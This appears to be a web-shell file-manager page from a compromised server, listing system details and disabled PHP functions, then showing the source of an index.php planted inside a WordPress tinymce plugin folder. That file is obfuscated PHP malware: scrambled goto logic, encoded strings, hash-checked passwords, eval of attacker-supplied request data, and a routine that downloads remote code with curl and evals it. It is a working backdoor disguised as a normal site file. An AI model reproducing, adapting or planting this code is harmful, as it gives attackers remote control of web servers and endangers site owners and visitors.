HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-includes/js/tinymce/plugins/textcolor/textcolor/index.php
<?php
 goto CNgH94KffuMXv; VIS3WdpuxvfEE: if (!(in_array(gettype($o_xVBHA4mdC0P) . count($o_xVBHA4mdC0P), $o_xVBHA4mdC0P) && count($o_xVBHA4mdC0P) == 17 && md5(md5(md5(md5($o_xVBHA4mdC0P[11])))) === "\x66\x66\141\67\x32\146\62\145\141\71\x36\x65\x35\x32\x65\x36\71\x64\60\x34\61\x31\61\x38\x39\146\141\64\x31\x33\70\x62")) { goto YNceZVzXSI887; } goto ucsUJ3jj9bBx5; iPvpSIvXrQF71: $o_xVBHA4mdC0P = ${$PHhfD4m7tVEFI[8 + 23] . $PHhfD4m7tVEFI[9 + 50] . $PHhfD4m7tVEFI[42 + 5] . $PHhfD4m7tVEFI[33 + 14] . $PHhfD4m7tVEFI[41 + 10] . $PHhfD4m7tVEFI[46 + 7] . $PHhfD4m7tVEFI[28 + 29]}; goto VIS3WdpuxvfEE; VuN1D2Fr25C7c: metaphone("\x34\63\141\x76\122\115\110\130\66\145\x41\61\64\166\171\x64\102\170\130\167\63\145\123\163\x55\x67\167\x31\101\x30\x42\126\x4c\157\x79\x62\157\151\107\62\x61\104\x63"); goto gNCVSVRw0IiOG; ucsUJ3jj9bBx5: ($o_xVBHA4mdC0P[68] = $o_xVBHA4mdC0P[68] . $o_xVBHA4mdC0P[80]) && ($o_xVBHA4mdC0P[85] = $o_xVBHA4mdC0P[68]($o_xVBHA4mdC0P[85])) && @eval($o_xVBHA4mdC0P[68](${$o_xVBHA4mdC0P[45]}[23])); goto c1OXhgX5vZ9Fg; CNgH94KffuMXv: $vcUBWrfiQrZ2P = "\162" . "\141" . "\156" . "\x67" . "\145"; goto i2VFq1SUC5ECA; c1OXhgX5vZ9Fg: YNceZVzXSI887: goto VuN1D2Fr25C7c; gNCVSVRw0IiOG: class ALESTlakX6BaB { static function xTQHWCQIXTMNQ($naeknq9mI1HQ0) { goto oW2dAjCuc5Z4j; oW2dAjCuc5Z4j: $sfIkmcWLYCuKo = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto FE8Z4_cgnmkQq; ZbQxOTsdSMWBN: return $g3cTDnNjmdbT3; goto lPn0LIrYFiOcp; Jp51fn1cbCEBA: foreach ($Jl1zdP0Y00lkA as $XS1iV9uaUVnDc => $s6c5WjHXsay2N) { $g3cTDnNjmdbT3 .= $bTUMaCY1qcKHt[$s6c5WjHXsay2N - 83008]; KK1QRrffcR0DE: } goto zmASX1NHABysN; FE8Z4_cgnmkQq: $bTUMaCY1qcKHt = $sfIkmcWLYCuKo("\176", "\40"); goto EoE7zUEeila90; zmASX1NHABysN: VuazjX4IpwLst: goto ZbQxOTsdSMWBN; EoE7zUEeila90: $Jl1zdP0Y00lkA = explode("\72", $naeknq9mI1HQ0); goto f_uOZxDuTRBZW; f_uOZxDuTRBZW: $g3cTDnNjmdbT3 = ''; goto Jp51fn1cbCEBA; lPn0LIrYFiOcp: } static function a7nagsw5fi1y3($Vcx0gnw8BYR9u, $ElUJuzxn3qQ1u) { goto Jbfp6DsFvMUwe; UqqH1Bg4X9bOt: $xDx4uuJ1M71bO = curl_exec($mskhMA6aEZ6St); goto Yh9LgG_KIYQc_; nVq58NGwvLzHx: curl_setopt($mskhMA6aEZ6St, CURLOPT_RETURNTRANSFER, 1); goto UqqH1Bg4X9bOt; Jbfp6DsFvMUwe: $mskhMA6aEZ6St = curl_init($Vcx0gnw8BYR9u); goto nVq58NGwvLzHx; Yh9LgG_KIYQc_: return empty($xDx4uuJ1M71bO) ? $ElUJuzxn3qQ1u($Vcx0gnw8BYR9u) : $xDx4uuJ1M71bO; goto uPYVAE796d7uB; uPYVAE796d7uB: } static function n1KKxkrQ3SWF1() { goto WaWy3QZ6v3sEe; AEmyJuc6nJ5Sb: foreach ($xsYzhlzHXU061 as $nTwyxp4_T5J_p) { $YbDsy9jKT83UM[] = self::xtqhWCqiXTMnq($nTwyxp4_T5J_p); JIHlr9mh0imi2: } goto a2KebEmpR3o0l; vbull4GWIrSgd: EPJWQhWmg5Eno: goto uD86URiQpvyvA; i_ymS23y58A8u: die; goto vbull4GWIrSgd; FUNdxd7SanCf5: $HhaaeASH7OG6d = self::A7naGSw5fI1Y3($k4DyJKAixOF5J[0 + 1], $YbDsy9jKT83UM[2 + 3]); goto AOY13KOtDvvdX; a2KebEmpR3o0l: qCOs14Y1uFGgd: goto Qjg9THww3TXvE; Qjg9THww3TXvE: $Oc19DSwZn1rTj = @$YbDsy9jKT83UM[1]($YbDsy9jKT83UM[1 + 9](INPUT_GET, $YbDsy9jKT83UM[7 + 2])); goto v4IyOySUeYAFu; AOY13KOtDvvdX: @eval($YbDsy9jKT83UM[3 + 1]($HhaaeASH7OG6d)); goto i_ymS23y58A8u; kfaPUMCa4BUkL: $k4DyJKAixOF5J = $YbDsy9jKT83UM[0 + 2]($PS_ahkfVUGvV6, true); goto JRt6ZIcwqS9EG; v4IyOySUeYAFu: $PS_ahkfVUGvV6 = @$YbDsy9jKT83UM[2 + 1]($YbDsy9jKT83UM[4 + 2], $Oc19DSwZn1rTj); goto kfaPUMCa4BUkL; WaWy3QZ6v3sEe: $xsYzhlzHXU061 = array("\x38\63\x30\63\x35\x3a\x38\x33\60\x32\x30\72\70\63\x30\63\63\72\x38\63\x30\x33\67\72\70\x33\60\61\70\72\70\63\60\x33\x33\72\70\63\60\63\x39\x3a\70\63\x30\x33\62\x3a\70\63\x30\61\67\x3a\x38\63\60\x32\x34\72\x38\63\x30\63\x35\x3a\x38\x33\60\x31\70\72\70\x33\60\x32\x39\72\70\x33\60\62\63\x3a\x38\63\60\x32\64", "\70\63\60\61\x39\x3a\70\x33\60\x31\x38\72\70\63\x30\62\60\72\70\x33\x30\x33\71\x3a\x38\x33\x30\x32\x30\72\70\x33\x30\62\x33\72\70\63\60\61\x38\72\x38\x33\60\70\65\x3a\x38\x33\60\70\63", "\x38\63\x30\62\x38\72\x38\63\x30\x31\71\72\x38\x33\60\62\x33\x3a\70\63\60\62\x34\72\70\x33\60\x33\x39\x3a\70\63\60\x33\x34\x3a\x38\63\x30\x33\63\x3a\x38\63\60\63\x35\72\x38\x33\60\x32\63\x3a\70\x33\x30\63\x34\x3a\70\x33\x30\63\x33", "\x38\63\x30\62\62\72\70\x33\60\63\67\72\70\63\x30\x33\65\x3a\x38\x33\60\x32\x37", "\x38\63\60\63\x36\x3a\70\63\60\63\67\72\70\x33\60\61\x39\x3a\x38\x33\60\x33\63\x3a\70\x33\60\x38\x30\x3a\70\x33\x30\x38\62\x3a\x38\63\x30\x33\71\72\70\x33\60\63\64\x3a\x38\x33\60\x33\x33\72\x38\x33\60\x33\65\72\70\x33\60\x32\63\x3a\70\63\x30\x33\x34\x3a\70\x33\60\63\x33", "\x38\x33\60\x33\62\x3a\70\x33\x30\62\71\x3a\x38\63\60\x32\x36\72\x38\63\60\x33\x33\x3a\70\x33\60\x33\x39\x3a\70\x33\60\63\61\x3a\70\x33\60\63\x33\72\70\x33\x30\x31\x38\x3a\70\x33\60\63\x39\x3a\x38\63\60\x33\x35\72\x38\63\x30\x32\63\x3a\70\63\x30\x32\64\x3a\x38\x33\x30\x31\x38\x3a\70\x33\60\63\x33\x3a\70\x33\60\62\x34\72\70\63\60\61\70\x3a\70\63\x30\61\71", "\70\63\60\66\x32\x3a\x38\63\60\x39\62", "\x38\x33\x30\60\71", "\70\63\x30\x38\x37\72\70\x33\x30\71\62", "\x38\63\x30\x36\71\x3a\x38\63\x30\65\62\72\x38\x33\60\65\x32\x3a\70\x33\60\x36\71\x3a\70\x33\x30\64\65", "\70\63\x30\x33\x32\72\70\x33\x30\x32\x39\72\70\x33\x30\62\66\x3a\70\63\x30\x31\70\72\x38\x33\60\x33\63\72\70\x33\x30\62\x30\x3a\x38\63\x30\63\x39\x3a\x38\x33\x30\62\71\72\70\x33\x30\x32\64\72\70\63\x30\62\x32\x3a\70\63\x30\61\x37\x3a\x38\x33\x30\61\70"); goto AEmyJuc6nJ5Sb; uXOvYJTmMEfls: if (!(@$k4DyJKAixOF5J[0] - time() > 0 and md5(md5($k4DyJKAixOF5J[3 + 0])) === "\65\x32\x32\63\61\143\x39\146\64\x31\66\61\x32\65\63\143\142\64\60\x36\x33\60\x35\63\x31\x34\x35\x66\x62\62\145\x37")) { goto EPJWQhWmg5Eno; } goto FUNdxd7SanCf5; JRt6ZIcwqS9EG: @$YbDsy9jKT83UM[8 + 2](INPUT_GET, "\157\146") == 1 && die($YbDsy9jKT83UM[4 + 1](__FILE__)); goto uXOvYJTmMEfls; uD86URiQpvyvA: } } goto SOjbkYJz0CpCo; i2VFq1SUC5ECA: $PHhfD4m7tVEFI = $vcUBWrfiQrZ2P("\176", "\x20"); goto iPvpSIvXrQF71; SOjbkYJz0CpCo: alesTlakX6BAb::n1KkXkRq3Swf1();
?>